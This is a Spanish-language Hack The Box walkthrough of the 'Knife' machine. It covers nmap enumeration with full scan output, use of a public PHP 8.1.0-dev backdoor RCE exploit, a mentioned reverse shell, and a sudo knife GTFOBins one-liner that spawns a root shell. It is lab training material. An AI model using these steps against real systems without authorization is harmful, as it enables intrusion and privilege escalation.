HTB - Knife
|
Enumeración
Al usar nmap utilizando nmap -p- –open -T5 -v -n 10.10.10.242 y luego con el comando nmap -sCV -p22,80 10.10.10.242 (si quieren guardar el nmap usar -oN
# Nmap 7.92 scan initiated Mon Nov 1 23:48:04 2021 as: nmap -p22,80 -sCV -O -oN NMAP knife.htb
Nmap scan report for knife.htb (10.10.10.242)
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA)
| 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA)
|_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Emergent Medical Idea
|_http-server-header: Apache/2.4.41 (Ubuntu)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.6 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.3 (95%), Linux 3.1 (95%), Linux 3.2 (95%), Linux 5.3 - 5.4 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%), Linux 5.0 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Nov 1 23:48:22 2021 -- 1 IP address (1 host up) scanned in 17.24 seconds
Debido a esto se empieza a busca información con whatweb, en el código fuente de la página web, mientras se ejecuta la wfuzz para buscar paginas ocultas y poder acceder a ellas.
Con el código fuente de la pagina y wfuzz no encontramos nada en particular, pero WhatWeb nos dice que la pagina está escrita en 8.1.0-dev e investigando nos damos cuenta que hay un exploit (backdoor y rce) en el github de https://github.com/flast101/php-8.1.0-dev-backdoor-rce
Utilizamos este exploit y obtenermos acceso al usuario
1° Shell
Al entrar con el Exploit nos damos cuenta que tenemos una terminal muy básica y no podemos tratar la TTY por lo que primero abrimos una shell reverse y luego realizamos un tratamiento de TTY () así podemos obtener la primera flag.
2° SHELL (root)
Ya dentro del usuario james vemos si tiene algún permiso como root con el comando sudo -l y nos damos cuenta que tiene con el comando knife y este no necesita escribir la password.
sudo -l
Matching Defaults entries for james on knife:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User james may run the following commands on knife:
(root) NOPASSWD: /usr/bin/knife
Con esto vemos en GTFObins si hay algún script de escalamiento de privilegios y vemos que si lo hay, lo que nos permite obtener root y poder ver la 2° flag
$ knife exec -E 'exec "/bin/sh"'
# whoami
root